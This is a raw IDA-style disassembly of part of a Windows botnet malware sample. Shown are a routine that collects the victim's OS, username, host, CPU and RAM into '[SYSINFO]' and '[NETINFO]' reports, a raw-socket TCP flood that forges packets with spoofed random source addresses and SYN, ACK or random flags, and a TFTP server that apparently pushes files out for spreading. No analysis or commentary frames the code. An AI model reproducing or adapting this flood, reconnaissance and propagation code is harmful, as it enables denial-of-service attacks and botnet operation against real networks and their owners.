sub_415430 proc near ; CODE XREF: sub_40C50A+59E0p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_492050
mov [ebp+var_CC], 94h
call ds:dword_4943F4
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_4154B7
cmp [ebp+var_C4], ebx
jnz short loc_415493
cmp [ebp+var_BC], 1
jnz short loc_41547D
mov [ebp+var_4], offset a95_0 ; "95"
loc_41547D: ; CODE XREF: sub_415430+44j
cmp [ebp+var_BC], 2
jnz loc_415532
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp short loc_415503
; ---------------------------------------------------------------------------
loc_415493: ; CODE XREF: sub_415430+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_4154A5
mov [ebp+var_4], offset a98_0 ; "98"
jmp short loc_4154FA
; ---------------------------------------------------------------------------
loc_4154A5: ; CODE XREF: sub_415430+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_4154F3
mov [ebp+var_4], offset aMe_1 ; "ME"
jmp short loc_4154FA
; ---------------------------------------------------------------------------
loc_4154B7: ; CODE XREF: sub_415430+33j
cmp [ebp+var_C8], 5
jnz short loc_4154F3
cmp [ebp+var_C4], ebx
jnz short loc_4154D1
mov [ebp+var_4], offset a2k_0 ; "2K"
jmp short loc_4154FA
; ---------------------------------------------------------------------------
loc_4154D1: ; CODE XREF: sub_415430+96j
cmp [ebp+var_C4], 1
jnz short loc_4154E3
mov [ebp+var_4], offset aXp_0 ; "XP"
jmp short loc_4154FA
; ---------------------------------------------------------------------------
loc_4154E3: ; CODE XREF: sub_415430+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_4154FA
loc_4154F3: ; CODE XREF: sub_415430+7Cj
; sub_415430+8Ej
mov [ebp+var_4], offset a???_0 ; "???"
loc_4154FA: ; CODE XREF: sub_415430+73j
; sub_415430+85j ...
cmp [ebp+var_BC], 2
jnz short loc_415532
loc_415503: ; CODE XREF: sub_415430+61j
cmp [ebp+var_B8], bl
jz short loc_415532
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_12 ; "%s (%s)"
push eax
call sub_418D70
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_415532: ; CODE XREF: sub_415430+54j
; sub_415430+D1j ...
mov ax, word_44274C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_44B5AC
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41556B
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_41556B: ; CODE XREF: sub_415430+12Cj
push [ebp+arg_4]
call sub_40AFEC
pop ecx
push eax
call dword_44B700 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_44B678 ; gethostbyaddr
cmp eax, ebx
jz short loc_415594
push dword ptr [eax]
jmp short loc_415599
; ---------------------------------------------------------------------------
loc_415594: ; CODE XREF: sub_415430+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_415599: ; CODE XREF: sub_415430+162j
lea eax, [ebp+var_3E4]
push eax
call sub_418D70
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call ds:dword_494320
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call ds:dword_494378
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs_0 ; "HH:mm:ss"
push ebx
push ebx
push esi
call ds:dword_494374
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call ds:dword_494404
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41B4D0
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_4056BD
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_415273
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_4055AD
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_4055AD
pop ecx
pop ecx
push eax
call sub_415374
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_418EF0
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_415430 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4156E4 proc near ; CODE XREF: sub_40C50A+4576p
; sub_40C50A+5A0Ep
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_4189A0
add esp, 0Ch
cmp dword_44B7A8, 0
jnz short loc_415758
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_44B590 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_415739
lea eax, [ebp+var_8C]
push offset aNotConnected ; "Not connected"
push eax
call sub_418D70
pop ecx
pop ecx
loc_415739: ; CODE XREF: sub_4156E4+40j
test [ebp+var_C], 1
jz short loc_415751
push offset aDialUp ; "Dial-up"
loc_415744: ; CODE XREF: sub_4156E4+72j
lea eax, [ebp+var_8]
push eax
call sub_418D70
pop ecx
pop ecx
jmp short loc_41577A
; ---------------------------------------------------------------------------
loc_415751: ; CODE XREF: sub_4156E4+59j
push offset aLan ; "LAN"
jmp short loc_415744
; ---------------------------------------------------------------------------
loc_415758: ; CODE XREF: sub_4156E4+28j
lea eax, [ebp+var_8]
push offset off_442874
push eax
call sub_418D70
lea eax, [ebp+var_8C]
push offset off_442878
push eax
call sub_418D70
add esp, 10h
loc_41577A: ; CODE XREF: sub_4156E4+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AFEC
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_418EF0
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_4156E4 endp
; =============== S U B R O U T I N E =======================================
sub_4157AD proc near ; CODE XREF: sub_415374:loc_41537Cp
; sub_415374+1Cp
rdtsc
retn
sub_4157AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157B0 proc near ; DATA XREF: sub_40C50A+2D54o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_494308
call edi
push eax
call sub_418FF0
pop ecx
push 0FFh
push 3
push 2
call dword_44B740 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_415879
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset aTcpErrorSocket ; "[TCP]: Error: socket() failed, returned"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_415859
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40842D
add esp, 14h
loc_415859: ; CODE XREF: sub_4157B0+84j
lea eax, [ebp+var_440]
push eax
call sub_4035E1
push [ebp+var_BC]
call sub_416507
pop ecx
pop ecx
push ebx
call ds:dword_4942FC
loc_415879: ; CODE XREF: sub_4157B0+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_44B6A0 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_4158F7
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset aTcpErrorSetsoc ; "[TCP]: Error: setsockopt() failed, retu"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_4158D7
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40842D
add esp, 14h
loc_4158D7: ; CODE XREF: sub_4157B0+102j
lea eax, [ebp+var_440]
push eax
call sub_4035E1
push [ebp+var_BC]
call sub_416507
pop ecx
pop ecx
push ebx
call ds:dword_4942FC
loc_4158F7: ; CODE XREF: sub_4157B0+DFj
lea eax, [ebp+var_23C]
push eax
call dword_44B700 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_415967
lea eax, [ebp+var_440]
push offset aTcpInvalidTarg ; "[TCP]: Invalid target IP."
push eax
call sub_418D70
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_415947
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40842D
add esp, 14h
loc_415947: ; CODE XREF: sub_4157B0+172j
lea eax, [ebp+var_440]
push eax
call sub_4035E1
push [ebp+var_BC]
call sub_416507
pop ecx
pop ecx
push ebx
call ds:dword_4942FC
loc_415967: ; CODE XREF: sub_4157B0+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_44B6C0 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_44B700 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi
mov [ebp+var_30], eax
loc_41599F: ; CODE XREF: sub_4157B0+430j
call edi
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_415C63
push 28h
mov [ebp+var_2C], 45h
call dword_44B6C0 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_415A12
call sub_419000
mov esi, eax
shl esi, 8
call sub_419000
add esi, eax
shl esi, 8
call sub_419000
add esi, eax
shl esi, 8
call sub_419000
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_415A28
; ---------------------------------------------------------------------------
loc_415A12: ; CODE XREF: sub_4157B0+233j
push [ebp+var_240]
call sub_40AFEC
pop ecx
push eax
call dword_44B700 ; inet_addr
mov [ebp+var_20], eax
loc_415A28: ; CODE XREF: sub_4157B0+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_415A46
call sub_419000
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_415A4C
; ---------------------------------------------------------------------------
loc_415A46: ; CODE XREF: sub_4157B0+284j
push [ebp+var_B8]
loc_415A4C: ; CODE XREF: sub_4157B0+294j
call dword_44B6C0 ; htons
mov [ebp+var_16], ax
call sub_419000
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_44B6C0 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_44B6BC ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn_2 ; "syn"
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jz short loc_415A9C
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_415AF8
; ---------------------------------------------------------------------------
loc_415A9C: ; CODE XREF: sub_4157B0+2E1j
lea eax, [ebp+var_1BC]
push offset aAck_0 ; "ack"
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jz short loc_415ABC
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_415AF8
; ---------------------------------------------------------------------------
loc_415ABC: ; CODE XREF: sub_4157B0+301j
lea eax, [ebp+var_1BC]
push offset aRandom_2 ; "random"
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jz short loc_415AF8
call sub_419000
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_419000
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_415AF8: ; CODE XREF: sub_4157B0+2EAj
; sub_4157B0+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_44B6C0 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_44B6C0 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_418A00
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_418A00
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40B045
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_418A00
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_418A00
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_4189A0
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40B045
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_418A00
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_44B724 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_415BE5
inc [ebp+arg_0]
jmp loc_41599F
; ---------------------------------------------------------------------------
loc_415BE5: ; CODE XREF: sub_4157B0+42Bj
push [ebp+var_4]
call dword_44B758 ; closesocket
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."...
lea eax, [ebp+var_440]
push 200h
push eax
call sub_418EF0
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_415C43
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40842D
add esp, 14h
loc_415C43: ; CODE XREF: sub_4157B0+46Ej
lea eax, [ebp+var_440]
push eax
call sub_4035E1
push [ebp+var_BC]
call sub_416507
pop ecx
pop ecx
push ebx
call ds:dword_4942FC
loc_415C63: ; CODE XREF: sub_4157B0+203j
push [ebp+var_4]
call dword_44B758 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_440]
push offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"...
push eax
call sub_418D70
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_415CD4
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_40842D
add esp, 14h
loc_415CD4: ; CODE XREF: sub_4157B0+4FFj
lea eax, [ebp+var_440]
push eax
call sub_4035E1
push [ebp+var_BC]
call sub_416507
pop ecx
pop ecx
push ebx
call ds:dword_4942FC
sub_4157B0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CF4 proc near ; CODE XREF: sub_415CF4:loc_4161DFp
; DATA XREF: sub_402994+107o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_44B740 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_415DB7
push 190h
call ds:dword_4942D8
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_780]
push offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_415D97
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40842D
add esp, 14h
loc_415D97: ; CODE XREF: sub_415CF4+7Ej
lea eax, [ebp+var_780]
push eax
call sub_4035E1
push [ebp+var_170]
call sub_416507
pop ecx
pop ecx
push ebx
call ds:dword_4942FC
loc_415DB7: ; CODE XREF: sub_415CF4+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_44D064[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_44B6C0 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_44B6EC ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_415E1C
push 1388h
call ds:dword_4942D8
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_4161DF
; ---------------------------------------------------------------------------
loc_415E1C: ; CODE XREF: sub_415CF4+10Dj
lea eax, [ebp+var_378]
push offset aRb_1 ; "rb"
push eax
call sub_419D70
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_415E9A
push 190h
call ds:dword_4942D8
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s."
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40842D
lea eax, [ebp+var_780]
push eax
call sub_4035E1
push [ebp+var_170]
call sub_416507
add esp, 28h
push ebx
call ds:dword_4942FC
loc_415E9A: ; CODE XREF: sub_415CF4+140j
mov esi, 200h
loc_415E9F: ; CODE XREF: sub_415CF4+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_41619F
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_44B6A8 ; select
test eax, eax
jle loc_416193
mov al, byte_492058
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_44B698 ; recvfrom
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_58]
push eax
call sub_418D70
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_41617D
cmp [ebp+var_D7], 1
jnz loc_4160C9
lea eax, [ebp+var_274]
push eax
call sub_418E70
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_418E70
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_41B790
add esp, 14h
test eax, eax
jnz loc_416083
lea eax, [ebp+var_1C]
push eax
call sub_418E70
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_41B790
add esp, 10h
test eax, eax
jnz loc_416083
push ebx
push ebx
push [ebp+var_8]
call sub_41B7D0
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_419D90
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_44B724 ; sendto
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset aTftpFileTran_1 ; "[TFTP]: File transfer started to IP: %s"...
loc_416037: ; CODE XREF: sub_415CF4+484j
lea eax, [ebp+var_780]
push eax
call sub_418D70
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_416071
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40842D
add esp, 14h
loc_416071: ; CODE XREF: sub_415CF4+358j
lea eax, [ebp+var_780]
push eax
call sub_4035E1
pop ecx
jmp loc_416193
; ---------------------------------------------------------------------------
loc_416083: ; CODE XREF: sub_415CF4+2B6j
; sub_415CF4+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_442A44
push edi
call dword_44B724 ; sendto
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)."
push eax
call sub_418D70
lea eax, [ebp+var_D8]
push eax
call sub_4035E1
add esp, 14h
jmp loc_416193
; ---------------------------------------------------------------------------
loc_4160C9: ; CODE XREF: sub_415CF4+275j
cmp [ebp+var_D7], 4
jnz loc_41617D
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_416106
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_416114
; ---------------------------------------------------------------------------
loc_416106: ; CODE XREF: sub_415CF4+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_416114: ; CODE XREF: sub_415CF4+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_41B7D0
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_419D90
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_44B724 ; sendto
cmp edi, ebx
jnz short loc_416193
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset aTftpFileTran_2 ; "[TFTP]: File transfer complete to IP: %"...
jmp loc_416037
; ---------------------------------------------------------------------------
loc_41617D: ; CODE XREF: sub_415CF4+268j
; sub_415CF4+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_442ADC
push edi
call dword_44B724 ; sendto
loc_416193: ; CODE XREF: sub_415CF4+204j
; sub_415CF4+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_415E9F
loc_41619F: ; CODE XREF: sub_415CF4+1B4j
push edi
call dword_44B758 ; closesocket
push [ebp+var_8]
call sub_419740
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_4161D3
push [ebp+var_170]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
loc_4161D3: ; CODE XREF: sub_415CF4+4CAj
push 3E8h
call ds:dword_4942D8
push esi
loc_4161DF: ; CODE XREF: sub_415CF4+123j
call sub_415CF4
pop edi
pop esi
pop ebx
leave
retn 4
sub_415CF4 endp
; =============== S U B R O U T I N E =======================================
sub_4161EB proc near ; CODE XREF: sub_402994+F0p
; sub_402994+20Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_44CE58
loc_4161F3: ; CODE XREF: sub_4161EB+18j
cmp byte ptr [eax], 0
jz short loc_416207
add eax, 234h
inc edi
cmp eax, offset dword_491BE8
jl short loc_4161F3
jmp short loc_416252
; ---------------------------------------------------------------------------
loc_416207: ; CODE XREF: sub_4161EB+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_44CE58[esi]
push eax
call sub_4191A0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_44D058[esi], eax
and dword_44D05C[esi], 0
mov eax, [esp+8+arg_8]
and dword_44D060[esi], 0
mov dword_44D064[esi], eax
and byte_44D070[esi], 0
pop esi
loc_416252: ; CODE XREF: sub_4161EB+1Aj
mov eax, edi
pop edi
retn
sub_4161EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
